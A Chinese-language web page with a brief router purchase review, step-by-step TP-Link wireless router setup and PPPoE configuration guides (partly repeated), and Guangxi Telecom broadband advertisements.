還可以升級軟件，但估計在服役的期間，應該是用不上了
總體來說，雖然上一款產品已經出現斷續的故障，但畢竟時間已久，我對其質量還是很滿意的，而現在再次購買，自然要金屬機身，3-4根天線了。不過4根天線的900Mbps的要180元，想想還是節省下吧，信號太強，我還要調節信號強度，也不是很必要。
送路由器了！TP-LINK路由器基本設置
TP-Link無線路由器正確的復位方法：請在路由器通電的情況下，按住后面板上標識為QSS/RESET的按鈕，持續5秒鐘以上，保持按壓的同時觀察SYS燈，當SYS燈由緩慢閃爍變為快速閃爍狀態時，表示路由器已成功恢復出廠設置，此時松開該按鈕，路由器將重啟。
一、硬件連接
1、用網線將計算機直接連接到路由器LAN口。也可以將路由器的LAN口和局域網中的集線器或交換機通過網線相連，如下圖 所示。
2、用網線將路由器WAN口和xDSL/Cable Modem或以太網相連，如下圖 所示。
3、連接好電源，路由器將自行啟動。
二、建立正確的網絡連接
1、計算機IP地址的設置
右鍵點擊桌面上的“網上鄰居”圖標，選擇屬性，在打開的“網絡連接”頁面中，右鍵點擊“本地連接”，選擇屬性，在打開的“本地連接 屬性”頁面，選中“Intelnet 協議(TCP/IP)”點擊屬性，在“Intelnet 協議(TCP/IP) 屬性”頁面，選中“自動獲取IP地址”后點擊確定即可。具體的詳細設置步驟圖解參考：fast無線路由器設置
2、使用Ping命令測試與路由器的連通
在Windows XP 環境中，點擊開始－運行，在隨后出現的運行窗口輸入“cmd”命令，回車或點擊確定進入下圖所示界面。
輸入命令：Ping 192.168.1.1，回車。
如果屏幕顯示為：
計算機已與路由器成功建立連接。
如果屏幕顯示為：
這說明設備還未安裝好，請按照下列順序檢查：
1、硬件連接是否正確？
路由器面板上對應局域網端口的Link/Act 指示燈和計算機上的網卡指示燈必須亮。
2、 計算機的TCP/IP 設置是否正確？
若計算機的IP 地址為前面介紹的自動獲取方式，則無須進行設置。若手動設置IP，請注意如果路由器的IP 地址為192.168.1.1，那么計算機IP 地址必須為192.168.1.X（X 是2 到254之間的任意整數），子網掩碼須設置為255.255.255.0，默認網關須設置為192.168.1.1。
三、TP-Link無線路由器的快速設置
打開網頁瀏覽器，在瀏覽器的地址欄中輸入路由器的IP地址：192.168.1.1，將會看到下圖所示登錄界面，輸入用戶名和密碼（用戶名和密碼的出廠默認值均為admin），點擊確定按鈕。
瀏覽器會彈出如下圖所示的設置向導頁面。如果沒有自動彈出此頁面，可以點擊頁面左側的設置向導菜單將它激活。
點擊下一步，進入下圖 所示的上網方式選擇頁面，這里根據我們的上網方式進行選擇，一般家庭寬帶用戶是pppoe撥號用戶。這里我們選擇第一項讓路由器自動選擇。
設置完成后，點擊下一步，將看到如下圖 所示的基本無線網絡參數設置頁面。
無線狀態：開啟或者關閉路由器的無線功能
SSID：設置任意一個字符串來標識無線網絡
信道：設置路由器的無線信號頻段，推薦選擇自動
模式：設置路由器的無線工作模式，推薦使用11bgn mixed 模式
頻段帶寬：設置無線數據傳輸時所占用的信道寬度，可選項有：20M、40M 和自動
最大發送速率：設置路由器無線網絡的最大發送速率
關閉無線安全：關閉無線安全功能，即不對路由器的無線網絡進行加密，此時其他人均可以加入該無線網絡。
WPA-PSK/WPA2-PSK：路由器無線網絡的加密方式，如果選擇了該項，請在PSK 密碼中輸入密碼，密碼要求為8-63 個ASCII 字符或8-64 個16 進制字符。
不修改無線安全設置：選擇該項，則無線安全選項中將保持上次設置的參數。如果從未更改過無線安全設置，則選擇該項后，將保持出廠默認設置關閉無線安全。
設置完成后，單擊下一步，將彈出下圖所示的設置向導完成界面，單擊重啟使無線設置生效。
重啟以后我們的TP-Link無線路由器的基本設置就完成了。
辦寬帶，上廣西電信網廳
足不出戶辦寬帶
輕輕松松就搞定
現申請寬帶新裝
還有無線路由器送
記住，重要的事要說三遍
辦寬帶，上廣西電信網廳，gx.189.cn
辦寬帶，上廣西電信網廳，gx.189.cn
辦寬帶，上廣西電信網廳，gx.189.cn
TP-Link無線路由器正確的復位方法：請在路由器通電的情況下，按住后面板上標識為QSS/RESET的按鈕，持續5秒鐘以上，保持按壓的同時觀察SYS燈，當SYS燈由緩慢閃爍變為快速閃爍狀態時，表示路由器已成功恢復出廠設置，此時松開該按鈕，路由器將重啟。
一、硬件連接
1、用網線將計算機直接連接到路由器LAN口。也可以將路由器的LAN口和局域網中的集線器或交換機通過網線相連，如下圖 所示。
2、用網線將路由器WAN口和xDSL/Cable Modem或以太網相連，如下圖 所示。
3、連接好電源，路由器將自行啟動。
二、建立正確的網絡連接
1、計算機IP地址的設置
右鍵點擊桌面上的“網上鄰居”圖標，選擇屬性，在打開的“網絡連接”頁面中，右鍵點擊“本地連接”，選擇屬性，在打開的“本地連接 屬性”頁面，選中“Intelnet 協議(TCP/IP)”點擊屬性，在“Intelnet 協議(TCP/IP) 屬性”頁面，選中“自動獲取IP地址”后點擊確定即可。具體的詳細設置步驟圖解參考：fast無線路由器設置
2、使用Ping命令測試與路由器的連通
在Windows XP 環境中，點擊開始－運行，在隨后出現的運行窗口輸入“cmd”命令，回車或點擊確定進入下圖所示界面。
輸入命令：Ping 192.168.1.1，回車。
如果屏幕顯示為：
計算機已與路由器成功建立連接。
如果屏幕顯示為：
這說明設備還未安裝好，請按照下列順序檢查：
1、硬件連接是否正確？
路由器面板上對應局域網端口的Link/Act 指示燈和計算機上的網卡指示燈必須亮。
2、 計算機的TCP/IP 設置是否正確？
若計算機的IP 地址為前面介紹的自動獲取方式，則無須進行設置。若手動設置IP，請注意如果路由器的IP 地址為192.168.1.1，那么計算機IP 地址必須為192.168.1.X（X 是2 到254之間的任意整數），子網掩碼須設置為255.255.255.0，默認網關須設置為192.168.1.1。
三、TP-Link無線路由器的快速設置
打開網頁瀏覽器，在瀏覽器的地址欄中輸入路由器的IP地址：192.168.1.1，將會看到下圖所示登錄界面，輸入用戶名和密碼（用戶名和密碼的出廠默認值均為admin），點擊確定按鈕。
瀏覽器會彈出如下圖所示的設置向導頁面。如果沒有自動彈出此頁面，可以點擊頁面左側的設置向導菜單將它激活。
點擊下一步，進入下圖 所示的上網方式選擇頁面，這里根據我們的上網方式進行選擇，一般家庭寬帶用戶是pppoe撥號用戶。這里我們選擇第一項讓路由器自動選擇。
設置完成后，點擊下一步，將看到如下圖 所示的基本無線網絡參數設置頁面。
無線狀態：開啟或者關閉路由器的無線功能
SSID：設置任意一個字符串來標識無線網絡
信道：設置路由器的無線信號頻段，推薦選擇自動
模式：設置路由器的無線工作模式，推薦使用11bgn mixed 模式
頻段帶寬：設置無線數據傳輸時所占用的信道寬度，可選項有：20M、40M 和自動
最大發送速率：設置路由器無線網絡的最大發送速率
關閉無線安全：關閉無線安全功能，即不對路由器的無線網絡進行加密，此時其他人均可以加入該無線網絡。
WPA-PSK/WPA2-PSK：路由器無線網絡的加密方式，如果選擇了該項，請在PSK 密碼中輸入密碼，密碼要求為8-63 個ASCII 字符或8-64 個16 進制字符。
不修改無線安全設置：選擇該項，則無線安全選項中將保持上次設置的參數。如果從未更改過無線安全設置，則選擇該項后，將保持出廠默認設置關閉無線安全。
設置完成后，單擊下一步，將彈出下圖所示的設置向導完成界面，單擊重啟使無線設置生效。
重啟以后我們的TP-Link無線路由器的基本設置就完成了。
辦寬帶，上廣西電信網廳
足不出戶辦寬帶
輕輕松松就搞定
現申請寬帶新裝
還有無線路由器送
TP-link家用無線路由器上網之高級設置
本文介紹了TP-Link路由器撥號上網的設置方法，請注意：設置后路由器會自動撥號上網，家里的手機、平板、電視、電腦無需再進行撥號操作，只需要連接到路由器上即可。
一、登錄設置界面
（1）、舊版本TP-Link路由器：在瀏覽器的地址欄中輸入：192.168.1.1并按下回車——>輸入默認登錄用戶名：admin，默認登錄密碼：admin——>點擊“確定”。
舊版本TP-Link路由器登陸界面
（2）、新版本TP-Link路由器：在瀏覽器中輸入：tplogin.cn然后按下回車——>在“設置密碼”框后面設置一個登錄密碼——>在“確認密碼”框里再次輸入設置的登錄密碼——>點擊“確認”。
新版本TP-Link路由器登陸界面
溫馨提示：請在你的TP-Link路由器底部標簽(銘牌)上，查看你的TP-Link路由器的設置網址，確定是192.168.1.1，還是tplogin.cn
二、開始進行設置
WAN口：指廣域網端口（就是連接光貓的接口），在路由器的背面有5個網線插口，有一個插口上面寫著WAN的便是，是用于實現撥號上網的接口。
那個藍色的（一般情況下有一個顏色與其他4個不同色的）即WAN口
WAN口設置涉及到設置上網方式，如采用靜態IP地址、動態IP地址或PPPOE上網方式，我公司因采用賬號密碼方式進行撥號上網，所以請選擇PPPOE上網方式
登陸路由器：打開IE瀏覽器，在地址欄中輸入默認網關（管理IP地址）192.168.1.1，在彈出的用戶名和密碼框中輸入admin，輸入正確后，隨即進入路由器WEB管理界面，
新款路由器的界面與老款路由器有所不同，新款路由器請按照下圖方式進行操作：
(1)需要點擊右上方“高級設置”才可管理更多設置
會出現以下界面：
(2)點擊左側菜單欄中的“網絡參數”選項，在子菜單中選擇"WAN口設置“，即可進入TP-link無線路由器WAN口之高級設置。在右側界面中選擇“寬帶撥號上網”輸入用戶名和密碼，模式選擇自動撥號，再點擊右下角的“連接”就OK了！！
老式TP-LINK路由器界面是以下這樣的：
同樣操作為：點擊左側菜單欄中的“網絡參數”選項，在子菜單中選擇"WAN口設置“，在右側界面中選擇“PPPOE”輸入用戶名和密碼，模式選擇自動撥號，再點擊右下角的“連接”就OK了！！需要注意的是：請先點擊保存后進行連接！
設置完成后即可實現上網。
